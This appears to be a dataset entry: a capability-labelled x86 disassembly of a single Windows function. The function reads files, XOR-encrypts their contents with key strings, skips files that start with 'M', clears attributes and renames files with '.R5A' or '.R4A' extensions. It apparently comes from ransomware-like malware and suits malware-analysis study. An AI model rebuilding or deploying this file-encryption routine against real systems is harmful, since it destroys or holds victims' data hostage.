Function at 0x41ac20
Capabilities:
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4433d7
mov eax, dword fs:[0]
push eax
sub esp, 0x1c4
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xec], edx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 4], 1
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x80], 7
mov dword [ebp - 0x84], 0
xor eax, eax
mov word [ebp - 0x94], ax
push eax
push 0x44d554
lea ecx, [ebp - 0x94]
call fcn.00422290
mov byte [ebp - 4], 2
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x4c], ax
push 0xffffffffffffffff
push eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00422350
mov byte [ebp - 4], 3
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x68], 7
mov dword [ebp - 0x6c], 0
xor eax, eax
mov word [ebp - 0x7c], ax
push 0xffffffffffffffff
push eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x7c]
call fcn.00422350
mov byte [ebp - 4], 4
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x54], 0
xor eax, eax
mov word [ebp - 0x64], ax
mov byte [ebp - 4], 5
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb0], 0xf
mov dword [ebp - 0xb4], eax
mov byte [ebp - 0xc4], al
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3c], eax
jne 0x41ad86
lea edx, [ebp - 0x4c]
mov ecx, 0x458bb8
call fcn.004248a0
mov edx, str.__error_File_is_null
mov ecx, eax
call fcn.00424ac0
push eax
call fcn.00425280
add esp, 4
jmp 0x41b5f0
mov byte [ebp - 4], 7
mov byte [ebp - 4], 8
cmp dword [ebp - 0x38], 8
mov eax, dword [ebp - 0x4c]
jae 0x41ad9a
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x41adbd
cmp dword [ebp - 0x38], 8
mov eax, dword [ebp - 0x4c]
jae 0x41adb1
lea eax, [ebp - 0x4c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 4], 7
xor edi, edi
mov dword [ebp - 0x10c], edi
cmp edi, dword [ebp + 0x30]
jae 0x41aeb0
lea esi, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae esi, dword [ebp + 0x20]
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae ecx, dword [ebp - 0x4c]
mov eax, edi
xor edx, edx
div dword [ebp - 0x3c]
add edx, edx
mov dword [ebp - 0x100], edx
mov ax, word [esi + edi*2]
xor ax, word [ecx + edx]
movzx ecx, ax
mov dword [ebp - 0xe0], ecx
mov eax, edi
and eax, 0x80000001
jns 0x41ae19
dec eax
or eax, 0xfffffffe
inc eax
jne 0x41ae5c
mov ecx, 0x459740
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41ae23
sub ecx, edx
sar ecx, 1
mov eax, edi
xor edx, edx
div ecx
mov ax, word [ebp - 0xe0]
xor ax, word [edx*2 + 0x459740]
mov word [ebp - 0xe0], ax
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x100]
jmp 0x41ae63
mov ax, word [ebp - 0xe0]
mov esi, 0x100
cmp ax, si
jbe 0x41ae9c
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae ecx, dword [ebp + 0x20]
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae eax, dword [ebp - 0x4c]
movzx eax, word [eax + edx]
and eax, 0x800000ff
jns 0x41ae95
dec eax
or eax, 0xffffff00
inc eax
xor ax, word [ecx + edi*2]
movzx ecx, ax
push ecx
push 1
lea ecx, [ebp - 0x94]
call fcn.00422430
inc edi
jmp 0x41adc6
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push 0
push 0x80
push 4
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xe0], eax
test eax, eax
jne 0x41aee7
mov byte [ebp - 4], 6
jmp 0x41b5f0
mov dword [ebp - 0x100], 0
lea ecx, [ebp - 0x100]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea ecx, [edi - 0x10]
cmp ecx, 0x2faf06f
ja 0x41b5e9
push 0
push str..R5A
lea ecx, [ebp - 0x7c]
call fcn.0041e7f0
mov esi, eax
push 0
push str..R4A
lea ecx, [ebp - 0x7c]
call fcn.0041e7f0
cmp esi, 0xffffffff
je 0x41af3e
cmp eax, 0xffffffff
jne 0x41b5e9
mov eax, edi
cdq
add dword [0x45a2e0], eax
adc dword [0x45a2e4], edx
push edi
call fcn.00426810
add esp, 4
mov dword [ebp - 0xe4], eax
push 0
lea ecx, [ebp - 0x100]
push ecx
push edi
push eax
mov esi, dword [ebp - 0xe0]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
mov eax, dword [ebp - 0xe4]
je 0x41b765
cmp byte [eax], 0x4d
je 0x41b765
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x110], esi
cmp esi, edi
jge 0x41b042
xor eax, eax
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe4]
mov al, byte [esi + eax]
mov byte [ebp - 0xe5], al
lea ecx, [ebp - 0xe5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41afc2
sub ecx, edx
push ecx
lea eax, [ebp - 0xe5]
push eax
lea eax, [ebp - 0xe0]
push eax
call fcn.0042f065
add esp, 0xc
mov eax, esi
cmp dword [ebp - 0xec], 1
jne 0x41b00a
mov ecx, 0x45a300
cmp dword [0x45a314], 8
cmovae ecx, dword [0x45a300]
xor edx, edx
div dword [0x45a310]
jmp 0x41b023
lea ecx, [ebp - 0x94]
cmp dword [ebp - 0x80], 8
cmovae ecx, dword [ebp - 0x94]
xor edx, edx
div dword [ebp - 0x84]
mov ax, word [ecx + edx*2]
xor ax, word [ebp - 0xe0]
movzx eax, ax
push eax
push 1
lea ecx, [ebp - 0x64]
call fcn.00422430
inc esi
jmp 0x41af94
push 1
push dword [ebp - 0xe4]
call fcn.004261ed
add esp, 8
cmp dword [ebp - 0xec], 1
je 0x41b1a2
mov esi, dword [ebp - 0x54]
mov edi, esi
shr edi, 1
mov ecx, edi
and ecx, 0x80000001
jns 0x41b075
dec ecx
or ecx, 0xfffffffe
inc ecx
sub edi, ecx
mov dword [ebp - 0xe0], edi
mov eax, esi
cdq
idiv edi
sub esi, edx
mov eax, esi
cdq
mov esi, edi
idiv esi
mov dword [ebp - 0xf0], eax
xor edi, edi
mov dword [ebp - 0xf8], edi
mov dword [ebp - 0x104], 0xff
cmp edi, eax
jge 0x41b1a2
xor ecx, ecx
mov dword [ebp - 0xf4], ecx
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0xe4], eax
cmp ecx, eax
jge 0x41b126
lea esi, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae esi, dword [ebp - 0x64]
lea ecx, [ebp - 0x64]
cmovae ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xf4]
add edx, eax
add eax, dword [ebp - 0xe4]
add eax, dword [ebp - 0xf4]
mov ax, word [ecx + eax*2]
xor ax, word [esi + edx*2]
movzx ecx, ax
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae eax, dword [ebp - 0x64]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0xf4]
inc ecx
mov dword [ebp - 0xf4], ecx
mov esi, dword [ebp - 0xe0]
jmp 0x41b0b3
mov eax, esi
cdq
sub eax, edx
mov edx, eax
sar edx, 1
mov dword [ebp - 0x114], edx
mov dword [ebp - 0xe4], edx
cmp edx, esi
jge 0x41b18a
lea ecx, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0xf8]
imul eax, esi
add eax, edx
lea esi, [eax + eax]
cdq
idiv dword [ebp - 0x104]
xor dx, word [ecx + esi]
movzx ecx, dx
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 8
cmovae eax, dword [ebp - 0x64]
mov word [eax + esi], cx
mov edx, dword [ebp - 0xe4]
inc edx
mov dword [ebp - 0x114], edx
mov esi, dword [ebp - 0xe0]
jmp 0x41b135
mov edi, dword [ebp - 0xf8]
inc edi
mov dword [ebp - 0xf8], edi
mov eax, dword [ebp - 0xf0]
jmp 0x41b0a3
push 0x44d554
lea ecx, [ebp - 0xdc]
call fcn.0041eb60
mov byte [ebp - 4], 0xa
mov esi, dword [ebp - 0x3c]
lea edi, [esi - 1]
mov dword [ebp - 0x11c], edi
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x4c]
test edi, edi
jle 0x41b3bf
lea eax, [ebp - 0x4c]
cmp ecx, 8
cmovae eax, edx
cmp word [eax + edi*2], 0x5c
jne 0x41b573
lea eax, [edi + 1]
mov dword [ebp - 0xfc], eax
xor edx, edx
mov dword [ebp - 0x108], edx
cmp eax, esi
jae 0x41b357
lea esi, [ebp - 0x4c]
mov eax, edx
cmp dword [ebp - 0xec], 1
jne 0x41b2a1
cmp ecx, 8
cmovae esi, dword [ebp - 0x4c]
mov ecx, 0x45a300
cmp dword [0x45a314], 8
cmovae ecx, dword [0x45a300]
xor edx, edx
div dword [0x45a310]
add edx, edx
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0xfc]
add eax, eax
mov dword [ebp - 0xf0], eax
mov ax, word [eax + esi]
xor ax, word [edx + ecx]
movzx eax, ax
mov ecx, 0x100
cmp ax, cx
jbe 0x41b324
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae eax, dword [ebp - 0x4c]
mov ecx, 0x45a300
cmp dword [0x45a314], 8
cmovae ecx, dword [0x45a300]
mov edx, dword [ebp - 0xf0]
movzx eax, word [edx + eax]
and eax, 0x800000ff
jns 0x41b296
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0x104]
jmp 0x41b31d
cmp ecx, 8
cmovae esi, dword [ebp - 0x4c]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae ecx, dword [ebp + 0x20]
xor edx, edx
div dword [ebp + 0x30]
add edx, edx
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xfc]
add eax, eax
mov dword [ebp - 0xe4], eax
mov ax, word [edx + ecx]
mov ecx, dword [ebp - 0xe4]
xor ax, word [ecx + esi]
movzx eax, ax
mov ecx, 0x100
cmp ax, cx
jbe 0x41b324
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae eax, dword [ebp - 0x4c]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 8
cmovae ecx, dword [ebp + 0x20]
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx + eax]
and eax, 0x800000ff
jns 0x41b317
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0xf0]
xor ax, word [edx + ecx]
movzx eax, ax
push eax
push 1
lea ecx, [ebp - 0xdc]
call fcn.00422430
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0x108]
inc edx
mov dword [ebp - 0x108], edx
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
jmp 0x41b1f5
lea eax, [edi + 1]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041e980
xor eax, eax
mov word [ebp - 0x34], ax
xorps xmm0, xmm0
movups xmmword [ebp - 0x32], xmm0
movq qword [ebp - 0x22], xmm0
mov dword [ebp - 0x1a], eax
push 0xa
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x118]
call fcn.0042e0c4
add esp, 0xc
push 0x4502cc
lea ecx, [ebp - 0x4c]
call fcn.0041ea10
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ea10
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0xec], 1
jne 0x41b569
push str..R4A
call fcn.0041ea10
sub esp, 0xc
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1d0]
call fcn.0041ed70
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x1c4], 0
jne 0x41b5cb
mov edx, 0x4502d8
lea ecx, [ebp - 0x1d0]
call fcn.00425000
lea edx, [ebp - 0x64]
mov ecx, eax
call fcn.004248a0
mov edx, 0x4502d0
mov ecx, eax
call fcn.00425000
lea edx, [ebp - 0xdc]
mov ecx, eax
call fcn.004248a0
push eax
call fcn.00425280
add esp, 4
lea ecx, [ebp - 0x1d0]
call fcn.0041eca0
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push ecx
push eax
call fcn.0042f0af
add esp, 8
test eax, eax
je 0x41b5cb
mov edx, str.error
mov ecx, 0x458bb8
call fcn.00424ac0
push eax
call fcn.00425280
push 0x44da0c
lea ecx, [ebp - 0x7c]
call fcn.0041e7a0
mov esi, eax
push ecx
push 0x4502e4
lea ecx, [ebp - 0x7c]
call fcn.0041e7a0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x98], 7
mov dword [ebp - 0x9c], 0
xor ecx, ecx
mov word [ebp - 0xac], cx
mov byte [ebp - 4], 0xc
push eax
lea eax, [esi + 1]
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x7c]
call fcn.0041e700
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0xac]
call fcn.0041eaf0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x30]
call fcn.0041ea90
push 4
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffffc
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041e8d0
xor edi, edi
mov dword [ebp - 0x120], edi
cmp edi, dword [ebp - 0x9c]
jae 0x41b57f
lea esi, [ebp - 0xac]
cmp dword [ebp - 0x98], 8
cmovae esi, dword [ebp - 0xac]
mov ecx, 0x45a318
cmp dword [0x45a32c], 8
cmovae ecx, dword [0x45a318]
mov eax, edi
xor edx, edx
div dword [0x45a328]
movzx ecx, word [ecx + edx*2]
movzx eax, word [esi + edi*2]
xor ecx, eax
push 0xa
lea eax, [ebp - 0x2c]
push eax
push ecx
call fcn.0042e0c4
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0041ea10
inc edi
jmp 0x41b502
push str..R5A
jmp 0x41b3ba
dec edi
mov dword [ebp - 0x11c], edi
jmp 0x41b1c8
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0xec], 0
jle 0x41b592
push str..R4A
jmp 0x41b597
push str..R5A
call fcn.0041ea10
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
cmovae ecx, dword [ebp - 0x4c]
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push ecx
push eax
call fcn.0042f0af
add esp, 8
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xac]
call fcn.0041ea90
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1d0]
call fcn.00403ce0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xdc]
call fcn.0041ea90
mov dword [ebp - 4], 6
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0xb0]
cmp eax, 0x10
jb 0x41b612
inc eax
push eax
push dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
call fcn.00423900
mov dword [ebp - 0xb0], 0xf
mov dword [ebp - 0xb4], 0
mov byte [ebp - 0xc4], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x50]
cmp eax, 8
jb 0x41b646
inc eax
push eax
push dword [ebp - 0x64]
lea ecx, [ebp - 0x64]
call fcn.00423890
mov dword [ebp - 0x50], 7
mov dword [ebp - 0x54], 0
xor eax, eax
mov word [ebp - 0x64], ax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x68]
cmp eax, 8
jb 0x41b673
inc eax
push eax
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x7c]
call fcn.00423890
mov dword [ebp - 0x68], 7
mov dword [ebp - 0x6c], 0
xor eax, eax
mov word [ebp - 0x7c], ax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x38]
cmp eax, 8
jb 0x41b6a0
inc eax
push eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x4c]
call fcn.00423890
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x80]
cmp eax, 8
jb 0x41b6d3
inc eax
push eax
push dword [ebp - 0x94]
lea ecx, [ebp - 0x94]
call fcn.00423890
mov dword [ebp - 0x80], 7
mov dword [ebp - 0x84], 0
xor eax, eax
mov word [ebp - 0x94], ax
mov byte [ebp - 4], al
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x41b705
inc eax
push eax
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00423890
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], 0
xor eax, eax
mov word [ebp + 8], ax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x34]
cmp eax, 8
jb 0x41b735
inc eax
push eax
push dword [ebp + 0x20]
lea ecx, [ebp + 0x20]
call fcn.00423890
mov dword [ebp + 0x34], 7
mov dword [ebp + 0x30], 0
xor eax, eax
mov word [ebp + 0x20], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
push 1
push eax
call fcn.004261ed
add esp, 8
mov byte [ebp - 4], 6
jmp 0x41b5f0